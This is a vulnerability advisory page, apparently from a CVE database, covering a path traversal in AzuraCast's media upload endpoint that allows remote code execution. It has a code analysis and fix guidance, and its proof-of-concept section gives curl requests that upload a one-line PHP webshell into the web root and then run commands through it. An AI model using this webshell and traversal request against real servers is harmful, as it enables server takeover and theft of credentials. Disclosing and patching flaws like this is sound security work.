AzuraCast CVE-2026-42605
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.
Details
In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:
// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));
$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
$destPath = $currentDir . '/' . $destPath;
}While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.
This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:
// MediaProcessor.php:75-117
try {
if (MimeType::isFileProcessable($localPath)) {
// ... process media ...
return $record;
}
// ...
throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
$this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
throw $e;
} finally {
$fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes
}The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.
For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():
// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
$destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() - simple concatenation
$this->ensureDirectoryExists(dirname($destPath), ...);
copy($localPath, $destPath); // OS resolves ../
}getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.
Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.
The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media - a permission granted to DJs and station managers, not only admins.
PoC
Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:
Step 1: Upload a PHP webshell via path traversal
curl -X POST "http://localhost/api/station/1/files/upload" \
-H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
-F "flowTotalChunks=1" \
-F "flowChunkNumber=1" \
-F "flowCurrentChunkSize=44" \
-F "flowTotalSize=44" \
-F "flowIdentifier=abc123" \
-F "flowFilename=shell.php" \
-F "currentDirectory=../../../../../var/azuracast/www/public" \
-F "file_data=@shell.php"Where shell.php contains:
<?php system($_GET['cmd']); ?>Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.
Step 2: Execute commands via the webshell
curl "http://localhost/shell.php?cmd=id"Expected output:
uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)Impact
- Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
- Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
- Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
- Data Exfiltration: All station data, user credentials, and application secrets become accessible.
Recommended Fix
Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:
// FlowUploadAction.php - replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));
// With:
$currentDir = UploadedFile::filterClientPath(
Types::string($request->getParam('currentDirectory'))
);Additionally, harden LocalFilesystem::upload() to normalize paths before use:
// LocalFilesystem.php - add path normalization in upload():
public function upload(string $localPath, string $to): void
{
$normalizer = new WhitespacePathNormalizer();
$to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../
$destPath = $this->getLocalPath($to);
$this->ensureDirectoryExists(
dirname($destPath),
$this->visibilityConverter->defaultForDirectories()
);
if (!@copy($localPath, $destPath)) {
throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
}
}Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.
AnalysisAI
Path traversal in AzuraCast's Flow.js media upload endpoint allows authenticated users with media management permissions to write arbitrary PHP files outside designated storage directories, achieving remote code execution. The vulnerability exists in versions ≤0.23.5 where the unsanitized currentDirectory parameter bypasses filename sanitization, and a finally block writes uploaded files before MIME validation completes. Only local filesystem storage (default configuration) is affected-remote S3/cloud backends are not vulnerable. Vendor-confirmed patch available in version 0.23.6. No public exploit or CISA KEV listing identified at time of analysis, but detailed proof-of-concept exists in GitHub advisory GHSA-vp2f-cqqp-478j demonstrating webshell upload to web root.
Technical ContextAI
AzuraCast is a self-hosted web radio station management platform built in PHP. The vulnerability affects Flow.js chunked upload handling in FlowUploadAction.php. The root cause is CWE-22 (Path Traversal) due to insufficient input validation. While the filename component undergoes sanitization via UploadedFile::filterClientPath() to strip traversal sequences, the currentDirectory parameter is concatenated after sanitization, reintroducing path traversal capability. The critical design flaw occurs in MediaProcessor.php where a finally block calls LocalFilesystem::upload() unconditionally-even when MIME validation throws CannotProcessMediaException. The local storage adapter's upload() method uses simple string concatenation (PathPrefixer::prefixPath()) without normalization, bypassing the WhitespacePathNormalizer that protects standard Flysystem write operations. The underlying copy() syscall resolves ../ sequences at the OS level, enabling writes outside the media root. The CPE pkg:composer/azuracast_azuracast indicates this is a Composer package vulnerability affecting PHP-based installations. Remote storage backends (S3, etc.) use writeStream() which routes through the normalizer, making them immune to this specific attack vector.
RemediationAI
Upgrade to AzuraCast version 0.23.6 or later. The vendor-released patch (commit 18c793b4427eb49e67a2fea99a89f1c9d9dd808d) applies WhitespacePathNormalizer::normalizePath() to both currentDirectory and flowIdentifier parameters before path concatenation, and refactors LocalFilesystem::upload() to normalize paths before filesystem operations, causing the normalizer to throw PathTraversalDetected exceptions on traversal attempts. For organizations unable to patch immediately, implement these compensating controls: (1) Restrict media management permissions to only fully trusted administrators-review and revoke DJ/Station Manager roles on multi-tenant instances (trade-off: breaks delegated station management workflows). (2) Switch to S3-compatible remote storage which uses the protected code path-requires object storage infrastructure and migration effort but eliminates local filesystem traversal entirely (see vendor docs at github.com/AzuraCast/AzuraCast for storage configuration). (3) Deploy web application firewall rules to block requests containing ../ sequences in currentDirectory parameter-brittle defense as encoding variations may bypass, and breaks legitimate nested folder operations if any exist. (4) Run AzuraCast in a hardened container with read-only web root filesystem and separate writable volume for media only-prevents webshell execution even if written, but requires container reconfiguration and may break application updates. Vendor advisory available at https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j. Patch commit at https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-22 – Path Traversal
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-vp2f-cqqp-478j